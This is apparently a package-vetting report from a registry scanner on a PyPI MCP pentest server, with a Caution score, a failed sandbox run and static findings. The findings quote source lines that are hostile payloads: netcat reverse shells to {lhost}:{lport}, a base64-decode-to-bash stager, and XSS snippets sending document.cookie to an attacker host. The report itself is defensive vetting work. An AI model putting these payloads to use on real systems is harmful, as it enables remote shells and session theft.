Skills/PyPI/nobody-pentest-mcp

nobody-pentest-mcp@2.0.6

CAUTION· not started

Publisher claims: "MCP server for Nobody AI Pentest Engine v2 — real tool execution (nmap, httpx, CVE APIs) via Claude Code" Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry PyPI (MCP server)Publisher nobody0x · publishing for 135 daysInstalls 91Last detonated 32 h ago
What would fix thisWatchDispute verdict

Coverage

Not started: dependency install failed; the server itself was not observed.
Tested
install scripts, with decoy credentials in place · second launch with the clock 45 days ahead · the dependency install step · every file read, file written and host contacted by what ran
Not tested
server startup · the tool list · tool behavior

What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.

Before you give it your token

It will ask for
NOBODY_API_KEYConfiguration, not credentials: HTTP_TIMEOUT, NMAP_PATH, NOBODY_API_URL, NOBODY_MODEL, SCAN_TIMEOUT
Where it talks to
no vendor host named in the codeAlso nobody0x.com, circl.lu, nist.gov, exploit-db.com, packetstormsecurity.com, rapid7.com, nmap.org — not the publisher's domain; check what for before connecting.
What the honeypot saw
no credential files read · no network
What we could not test
server startup · the tool list · tool behavior

Connect it with a scoped credential, under the guard, and read the third-party hosts first. The code names nobody0x.com, circl.lu, nist.gov, exploit-db.com, packetstormsecurity.com, rapid7.com, nmap.org as well as its own vendor. The guard injects NOBODY_API_KEY only into requests to the host you bind (and its subdomains) and refuses the rest.

$vet-skills run --net declared -- uvx nobody-pentest-mcp

Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.

Is [email protected] safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (3 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-13 and scored it 68/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: document.cookie access; Access to sensitive file paths; Host or command assembled from base64 fragments. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 0 s · 3 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessinstall script run in the sandbox
0.1sprocessexited 1: EOFError: EOF when reading a line
0.2sprocessdependency install exit 1 ·
0.2sclaimednot started: dependency install failed (exit 1); the server itself was not observed
0.2sprocessscript backend runs setup only
0.3sprocesssecond launch, clock +45 days, CI unset
0.4sprocessexited 1: EOFError: EOF when reading a line

Static findings

HIGH
document.cookie accessserver.py:955 · document.cookie access — can steal session cookiesoutput.append(f'<script>new Image().src="http://{lhost}/steal?c="+document.cookie</script>')Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
HIGH
Access to sensitive file pathssetup.py:92 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesprint(f"✅ .env file updated: {env_path}")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Host or command assembled from base64 fragmentsserver.py:849 · Host or command assembled from base64 fragmentsoutput.append(f"echo {encoded} | base64 -d | bash")Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
AST07
CRITICAL
Pipe to network utilitysrc/nobody_pentest_mcp/server.py:866 · Pipe to network utility — potential reverse shelloutput.append(f"mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -lvp {lport} > /tmp/f")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
CRITICAL
Pipe to network utilitysrc/nobody_pentest_mcp/server.py:985 · Pipe to network utility — potential reverse shelloutput.append(f"| nc {lhost} {lport} -e /bin/bash")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Access to sensitive file pathssetup.py:83 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"""Update .env file with API key."""Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsserver.py:1010 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesreturn "ERROR: NOBODY_API_KEY required for external endpoints. Set it in environment or .env file."Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
CRITICAL
Pipe to network utilityserver.py:985 · Pipe to network utility — potential reverse shelloutput.append(f"| nc {lhost} {lport} -e /bin/bash")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
CRITICAL
Pipe to network utilityserver.py:866 · Pipe to network utility — potential reverse shelloutput.append(f"mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -lvp {lport} > /tmp/f")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Access to sensitive file pathssetup.py:124 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesenv_path = server_dir / ".env"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsserver.py:432 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesif path == "/.env":Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsserver.py:24 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesSet NOBODY_API_KEY environment variable or create .env file.Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
document.cookie accessserver.py:956 · document.cookie access — can steal session cookiesoutput.append(f'<img src=x onerror="fetch(\'http://{lhost}/steal?c=\'+document.cookie)">')Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
HIGH
Access to sensitive file pathsserver.py:405 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files("/.env", "Environment file exposed"),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsserver.py:1348 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"""Load .env file."""Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedsrc/nobody_pentest_mcp/server.py:876 · Python subprocess execution detectedf'subprocess.call([\"/bin/bash\",\"-i\"])\''Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Access to sensitive file pathssrc/nobody_pentest_mcp/server.py:24 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesSet NOBODY_API_KEY environment variable or create .env file.Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedsrc/nobody_pentest_mcp/server.py:87 · Python subprocess execution detectedresult = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedserver.py:876 · Python subprocess execution detectedf'subprocess.call([\"/bin/bash\",\"-i\"])\''Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedserver.py:838 · Python subprocess execution detectedf'subprocess.call([\"/bin/bash\",\"-i\"])\''Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedsrc/nobody_pentest_mcp/server.py:796 · Python subprocess execution detectedf'subprocess.call([\"/bin/bash\",\"-i\"])\''Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedserver.py:87 · Python subprocess execution detectedresult = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedserver.py:796 · Python subprocess execution detectedf'subprocess.call([\"/bin/bash\",\"-i\"])\''Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedsrc/nobody_pentest_mcp/server.py:828 · Python subprocess execution detectedf'subprocess.call([\"cmd.exe\"])\"'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedserver.py:828 · Python subprocess execution detectedf'subprocess.call([\"cmd.exe\"])\"'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Host or command assembled from base64 fragmentssrc/nobody_pentest_mcp/server.py:849 · Host or command assembled from base64 fragmentsoutput.append(f"echo {encoded} | base64 -d | bash")Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
AST07
HIGH
Access to sensitive file pathssrc/nobody_pentest_mcp/server.py:1010 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesreturn "ERROR: NOBODY_API_KEY required for external endpoints. Set it in environment or .env file."Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathssrc/nobody_pentest_mcp/server.py:1348 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"""Load .env file."""Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathssrc/nobody_pentest_mcp/server.py:432 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesif path == "/.env":Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedsrc/nobody_pentest_mcp/server.py:838 · Python subprocess execution detectedf'subprocess.call([\"/bin/bash\",\"-i\"])\''Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Access to sensitive file pathssrc/nobody_pentest_mcp/server.py:405 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files("/.env", "Environment file exposed"),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathssetup.py:126 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files# Update .envFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedsetup.py:46 · Python subprocess execution detectedsubprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
document.cookie accesssrc/nobody_pentest_mcp/server.py:955 · document.cookie access — can steal session cookiesoutput.append(f'<script>new Image().src="http://{lhost}/steal?c="+document.cookie</script>')Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
HIGH
document.cookie accesssrc/nobody_pentest_mcp/server.py:956 · document.cookie access — can steal session cookiesoutput.append(f'<img src=x onerror="fetch(\'http://{lhost}/steal?c=\'+document.cookie)">')Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
MEDIUM
Excessive HTML entities detectedserver.py:963 · Excessive HTML entities detected — may be obfuscating contentoutput.append('<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">')Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
AST07
MEDIUM
Excessive HTML entities detectedsrc/nobody_pentest_mcp/server.py:963 · Excessive HTML entities detected — may be obfuscating contentoutput.append('<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">')Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
AST07

Cost to the agent

Instructions loaded
≈65 tok
1 file · 13 in bundle
Tool list per prompt
≈0 tok
0 tools · 0 per tool
Handshake
no reply
launch to tools/list, stdio
Undocumented tools
0
description under 20 chars · avg 0

Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.

Known vulnerabilities

No advisories in OSV for nobody-pentest-mcp@2.0.6 as of 32 h ago. This is the package itself, not its dependencies.

What would make this Verified

12 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%
  1. Pipe to network utility≈ +9 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
  2. Unclaimed publisher≈ +8 on the totalClaim nobody0x: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
  3. Obfuscated code≈ +5 on the totalRemove base64-assembled strings, eval of decoded text and minified blobs. Reviewers and scanners both treat unreadable code as hostile.
  4. document.cookie access≈ +4 on the totalReplace encoded or assembled strings with plain literals and remove undeclared network calls.
  5. Access to sensitive file paths≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
  6. Host or command assembled from base64 fragments≈ +4 on the totalPut hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
Publish a new version to PyPI, then queue it here. Not your skill? Claim the handle to get verdict changes by email.Claim nobody0xPropose a patch to the maintainer